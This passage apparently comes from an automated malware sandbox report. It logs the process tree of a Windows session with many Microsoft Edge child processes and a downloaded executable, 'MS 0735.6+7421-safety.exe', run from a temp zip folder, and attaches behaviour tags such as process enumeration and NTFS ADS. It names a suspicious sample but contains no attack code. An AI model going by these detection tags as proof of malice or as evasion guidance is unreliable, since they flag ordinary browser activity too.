  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1800 /prefetch:2
  2⤵
  PID:4972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2424
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2744 /prefetch:8
  2⤵
  PID:1056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:1836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1
  2⤵
  PID:568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3724 /prefetch:1
  2⤵
  PID:3920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4616 /prefetch:1
  2⤵
  PID:2536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3516 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3900 /prefetch:1
  2⤵
  PID:3904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4992 /prefetch:1
  2⤵
  PID:2908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3860 /prefetch:1
  2⤵
  PID:1764
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1808 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4624 /prefetch:1
  2⤵
  PID:4696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4120 /prefetch:1
  2⤵
  PID:1580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3724 /prefetch:1
  2⤵
  PID:4468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5752 /prefetch:1
  2⤵
  PID:32
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5992 /prefetch:1
  2⤵
  PID:4948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1780,2020605347193476464,14972789368040143558,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5796 /prefetch:1
  2⤵
  PID:4808

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4928

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1316

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff917e63cb8,0x7ff917e63cc8,0x7ff917e63cd8
  2⤵
  PID:460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1920 /prefetch:2
  2⤵
  PID:1560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2532 /prefetch:8
  2⤵
  PID:5024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1
  2⤵
  PID:792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
  2⤵
  PID:1980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4204 /prefetch:1
  2⤵
  PID:1848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4184 /prefetch:1
  2⤵
  PID:4600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5272 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3024
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5300 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1204
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4116 /prefetch:1
  2⤵
  PID:2884
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3988 /prefetch:1
  2⤵
  PID:4748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5760 /prefetch:1
  2⤵
  PID:4356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5752 /prefetch:1
  2⤵
  PID:1912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3992 /prefetch:1
  2⤵
  PID:3268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4700 /prefetch:1
  2⤵
  PID:3380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5784 /prefetch:1
  2⤵
  PID:1568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6092 /prefetch:1
  2⤵
  PID:2856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1900,9444369208700361062,17663742258354719145,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5972 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:3616

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2292

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4812

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1228

C:\Users\Admin\AppData\Local\Temp\Temp1_MS 0735.6+7421.zip\MS 0735.6+7421-safety.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_MS 0735.6+7421.zip\MS 0735.6+7421-safety.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:3828

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004DC 0x00000000000004E0
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4432

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
PID:2848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff917e63cb8,0x7ff917e63cc8,0x7ff917e63cd8
  2⤵
  PID:4704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1932 /prefetch:2
  2⤵
  PID:4132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2752 /prefetch:8
  2⤵
  PID:4484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
  2⤵
  PID:4264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
  2⤵
  PID:4860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2976 /prefetch:1
  2⤵
  PID:2820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4252 /prefetch:1
  2⤵
  PID:4632
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3484 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4064 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1
  2⤵
  PID:4592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5428 /prefetch:1
  2⤵
  PID:4428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4176 /prefetch:1
  2⤵
  PID:3616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5420 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2996 /prefetch:1
  2⤵
  PID:3448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5304 /prefetch:1
  2⤵
  PID:4776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5624 /prefetch:1
  2⤵
  PID:2812
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2996 /prefetch:1
  2⤵
  PID:3300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5912 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:4816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5820 /prefetch:1
  2⤵
  PID:4688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
